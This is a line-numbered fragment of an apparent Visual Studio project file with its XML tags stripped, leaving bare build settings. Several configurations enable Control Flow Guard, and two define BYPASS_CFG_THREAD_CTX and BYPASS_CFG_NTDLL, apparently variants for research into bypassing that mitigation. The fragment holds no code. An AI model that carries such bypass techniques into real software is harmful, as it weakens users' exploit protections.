165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
187 |
188 | true
189 |
190 |
191 | false
192 |
193 |
194 | false
195 |
196 |
197 | false
198 |
199 |
200 | false
201 |
202 |
203 | false
204 |
205 |
206 | true
207 |
208 |
209 | false
210 |
211 |
212 | false
213 |
214 |
215 | false
216 |
217 |
218 | false
219 |
220 |
221 | false
222 |
223 |
224 |
225 | Level3
226 | true
227 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
228 | true
229 |
230 |
231 | Console
232 | true
233 |
234 |
235 |
236 |
237 | Level3
238 | true
239 | true
240 | true
241 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
242 | true
243 |
244 |
245 | Console
246 | true
247 | true
248 | true
249 |
250 |
251 |
252 |
253 | Level3
254 | true
255 | true
256 | true
257 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
258 | true
259 |
260 |
261 | Console
262 | true
263 | true
264 | true
265 |
266 |
267 |
268 |
269 | Level3
270 | true
271 | true
272 | true
273 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
274 | true
275 |
276 |
277 | Console
278 | true
279 | true
280 | true
281 |
282 |
283 |
284 |
285 | Level3
286 | true
287 | true
288 | true
289 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
290 | true
291 |
292 |
293 | Console
294 | true
295 | true
296 | true
297 |
298 |
299 |
300 |
301 | Level3
302 | true
303 | true
304 | true
305 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
306 | true
307 |
308 |
309 | Console
310 | true
311 | true
312 | true
313 |
314 |
315 |
316 |
317 | Level3
318 | true
319 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
320 | true
321 |
322 |
323 | Console
324 | true
325 |
326 |
327 |
328 |
329 | Level3
330 | true
331 | true
332 | true
333 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
334 | true
335 | Guard
336 |
337 |
338 | Console
339 | true
340 | true
341 | true
342 |
343 |
344 |
345 |
346 | Level3
347 | true
348 | true
349 | true
350 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
351 | true
352 | false
353 |
354 |
355 | Console
356 | true
357 | true
358 | true
359 |
360 |
361 |
362 |
363 | Level3
364 | true
365 | true
366 | true
367 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
368 | true
369 | Guard
370 |
371 |
372 | Console
373 | true
374 | true
375 | true
376 |
377 |
378 |
379 |
380 | Level3
381 | true
382 | true
383 | true
384 | BYPASS_CFG_THREAD_CTX;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
385 | true
386 | Guard
387 |
388 |
389 | Console
390 | true
391 | true
392 | true
393 |
394 |
395 |
396 |
397 | Level3
398 | true
399 | true
400 | true
401 | BYPASS_CFG_NTDLL;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
402 | true
403 | Guard
404 |
405 |
406 | Console
407 | true
408 | true
409 | true
410 |
411 |
412 |
413 |
414 |
415 |
416 |
417 |
418 |
419 |
420 |
421 |
422 |
423 |
424 |
425 |
426 |
427 |
428 |
429 |
--------------------------------------------------------------------------------